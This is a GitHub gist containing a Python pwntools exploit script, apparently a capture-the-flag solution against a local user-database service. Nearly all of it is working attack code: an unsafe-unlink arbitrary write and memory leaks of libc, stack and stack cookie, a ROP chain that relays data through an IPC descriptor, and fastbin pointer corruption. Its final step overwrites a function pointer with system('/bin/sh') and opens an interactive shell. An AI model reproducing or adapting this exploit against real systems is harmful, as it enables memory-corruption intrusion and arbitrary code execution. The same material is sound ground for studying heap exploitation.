Skip to content

Instantly share code, notes, and snippets.

@niklasb
Created July 18, 2017 15:56
Show Gist options
  • Save niklasb/fc3bb413db97b64a0b07082894d1e405 to your computer and use it in GitHub Desktop.
Save niklasb/fc3bb413db97b64a0b07082894d1e405 to your computer and use it in GitHub Desktop.
# First stage: unsafe unlink
# Second stage (via a tunnel through a ROP chain): fastbin free pointer corruption
from pwn import *
import struct
import sys
offset_close = 0x00000000000f78b0
offset_env = 0x3c6f38
p64 = lambda v: struct.pack("<Q", v)
p32 = lambda v: struct.pack("<I", v)
s = remote("127.0.0.1", 4444)
s.recvuntil("> ")
def add_property(prop, lgth):
s.recvuntil("length: ")
if lgth == -4:
lgth = len(prop)+1
s.sendline(str(lgth))
s.recvuntil(": ")
s.sendline(prop)
def set_firstname(firstname, lgth=-4):
s.sendline("1")
add_property(firstname, lgth)
def set_lastname(lastname, lgth=-4):
s.sendline("2")
add_property(lastname, lgth)
def set_ssid(ssid, lgth=-4):
s.sendline("3")
add_property(ssid, lgth)
def set_addr(addr, lgth=-4):
s.sendline("4")
add_property(addr, lgth)
def add_user(firstname, lastname, ssid, addr):
s.sendline("1")
s.recvuntil("> ")
set_firstname(firstname)
s.recvuntil("> ")
set_lastname(lastname)
s.recvuntil("> ")
set_ssid(ssid)
s.recvuntil("> ")
set_addr(addr)
s.recvuntil("> ")
s.sendline("6")
s.recvuntil("> ")
def list_candidates():
s.sendline("3")
return s.recvuntil("> ")
def write(what, where):
s.sendline("1")
s.recvuntil("> ")
set_firstname("AAAA")
s.recvuntil("> ")
set_lastname("BBBB")
set_firstname(p64(what) + p64(where - 0x10) + p64(32) + p64(0x20) + "A"*8 + "B"*8, lgth=-1)
s.sendline("2")
s.recvuntil(": ")
s.sendline("0")
s.recvuntil("> ")
s.sendline("7")
add_user('a','b','c','d')
close_got = 0x604058
strtoull_got = 0x604078
write(close_got, 0x604100)
s.recvuntil("> ")
x = list_candidates()
leak = u64(x[:8])
leak = leak & 0xffffffffffff
libc = leak - offset_close
print '[*] libc @ 0x%016x' % libc
custom_heap = libc - 0x1001000
print '[*] custom heap @ 0x%016x' % custom_heap
write(libc + offset_env, 0x604100)
s.recvuntil("> ")
x = list_candidates()
leak = u64(x[:8])
stack = leak & 0xffffffffffff
print '[*] stack @ 0x%016x' % stack
# cookie_loc = 0x7fffffffe349 - 0x0007fffffffe578+stack
cookie_loc = 0x7fffffffe479 - 0x0007fffffffe578+stack
write(cookie_loc, 0x604100)
s.recvuntil("> ")
x = list_candidates()
leak = u64('\0'+x[:7])
cookie = leak
print '[*] cookie = %016x' % cookie
heaploc = custom_heap + 0x170
print '[*] heap data @ 0x%016x' % heaploc
target = 0x7fffffffe2f0 - 0x0007fffffffe538+stack
print '[*] Target = %016x' % target
# know data which will be placed on the heap
heapdat = ''
heapdat += 'A'*0x100
pop_rdi_ret = libc + 0x21102
pop_rsi_ret = libc + 0x00000000000202e8
pop_rdx_ret = libc + 0x0000000000001b92
pop_rax_ret = libc + 0x0000000000033544
syscall_ret = libc + 0xbc375
curbrk = libc + 0x5f10d8
payload = ''
fixes = []
fdout = 8
fdin = 5
def do(v):
global payload
payload += p64(v)
def pop_rdi(v):
do(pop_rdi_ret)
do(v)
def pop_rsi(v):
do(pop_rsi_ret)
do(v)
def pop_rdx(v):
do(pop_rdx_ret)
do(v)
def pop_rax(v):
do(pop_rax_ret)
do(v)
def pop_rbx(v):
do(libc + 0x9796c)
do(v)
def rbp(x):
do(libc + 0xac2c7)
do(x)
def leave():
do(libc + 0x115b37)
def rsp(x):
rbp(x-8)
leave()
def syscall():
do(syscall_ret)
def trap():
# place breakpoint here to debug ROP chain. It's a ret not reached in the
# child process
do(0x401313)
def data(x):
global heapdat
res = heaploc + len(heapdat) - 0x100
heapdat += x
return res
def mov_rdx_rax():
# 0x5905c 4889C2 mov rdx,rax
# 0x5905f 488B83D8000000 mov rax,QWORD PTR [rbx+0xd8]
# 0x59066 FF5038 call QWORD PTR [rax+0x38]
rax = data(p64(pop_rdi_ret)) - 0x38
rbx = data(p64(rax)) - 0xd8
pop_rbx(rbx)
offset, val = len(payload), libc + 0x5905c
fixes.append((offset, val))
do(val)
def write(where, what):
# 0x2d9d2 488910 mov QWORD PTR [rax],rdx
# 0x2d9d5 C3 ret
pop_rax(where)
pop_rdx(what)
do(libc + 0x2d9d2)
def stage2():
buf = custom_heap + 0x2000
bufsz = 0x100000
# Leak heap address
pop_rdi(1)
pop_rsi(curbrk)
pop_rdx(8)
pop_rax(1)
syscall()
# the following is a simple tunnel that reads from STDIN, writes to
# the IPC fd and back
loop_start = len(payload)
pop_rdi(0)
pop_rsi(buf)
pop_rdx(bufsz)
pop_rax(0)
syscall()
mov_rdx_rax()
pop_rdi(fdout)
pop_rsi(buf)
pop_rax(1)
syscall()
pop_rdi(fdin)
pop_rsi(buf)
pop_rdx(bufsz)
pop_rax(0)
syscall()
mov_rdx_rax()
pop_rdi(1)
pop_rsi(buf)
pop_rax(1)
syscall()
rop_loc = target+5*8
# Parts of the ROP chain got corrupted, fix them up
for offset, val in fixes:
write(rop_loc + offset, val)
# loop
rsp(rop_loc + loop_start)
stage2()
rop = payload
if len(rop) <= 0x100:
rop += 'A'*(0x100-len(rop))
assert len(heapdat) < 1024
heapdat += 'D'*(1024-len(heapdat))
add_user('x','g','ast',heapdat)
s.sendline("1")
s.recvuntil("> ")
set_firstname("A"*0x60)
s.recvuntil("> ")
set_lastname("BBBB")
s.recvuntil("> ")
set_firstname("A"*24 + p64(0x21) + p64(target), lgth=-1)
s.recvuntil("> ")
set_addr("EEEE")
s.recvuntil("> ")
set_ssid('A'*8 + p64(cookie) + 'C'*8 + rop)
s.recvuntil("> ")
# this will trigger our ROP chain
s.sendline('7')
# First thing the ROP chain does is leak the heap address, so read it
heap = struct.unpack('<Q', s.recv(8))[0]
print '[*] glibc heap @ 0x%016x' % heap
def prop(s):
assert not '\0' in s
return p64(len(s))+s
def delete(ssid):
cmd = p32(3)
cmd += prop(ssid)
s.send(cmd)
assert '\0'*4 == s.recv(4)
def add(fname, lname, ssid, addr):
cmd = p32(2)
cmd += prop(fname)
cmd += prop(lname)
cmd += prop(ssid)
cmd += prop(addr)
s.send(cmd)
assert '\0'*4 == s.recv(4)
def check(ssid, sz=None, wait=True):
if sz == None:
sz = len(ssid)
cmd = p32(1)
cmd += p64(sz)
cmd += ssid
if len(ssid) < sz:
cmd += '\0'
s.send(cmd)
if wait:
return struct.unpack("<I",s.recv(4))[0]
def overflow(payload):
assert not '\0' in payload
cmd = p32(1)
cmd += p64(2**64-1)
cmd += payload + '\0'
s.send(cmd)
return struct.unpack("<I",s.recv(4))[0]
for i in range(130):
add('a', 'a', 'a%d'%i, 'a')
# make some holes
check("a"*0x20)
check("a"*0x30)
check("a"*0x40)
check("a"*0x50)
check("a"*0x60)
add('a', 'a', 'af', 'a')
delete("af")
check("a")
victim_ssid = 'a'*0x50
add('a'*0x20, 'a'*0x40, victim_ssid, 'a'*0x60)
# increase size of following fastbin chunk
overflow("A"*24 + chr(0x71))
check("x"*8 + chr(0x61), 0x70)
# delete the expanded chunk, so it gets added to the free list
delete(victim_ssid)
fake_fastbin = heap + 8
# allocate a fastbin which overlaps with a freelist pointer
check("c"*0x60 + p32(fake_fastbin))
# fix up size field
for i in range(1, 8):
check("c"*(0x60-i))
check("c"*(0x60-8) + chr(0x81))
# allocate once
add("c"*0x70, "d"*0x20, "e"*0x20, "f"*0x20)
rip = libc+0x45390 #system
sh = "/bin/sh;#"
sh += "c"*(16-len(sh))
# allocate twice, this will get allocated over the hash table struct -> boom!
check(sh + p64(rip), 0x70, wait=False)
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment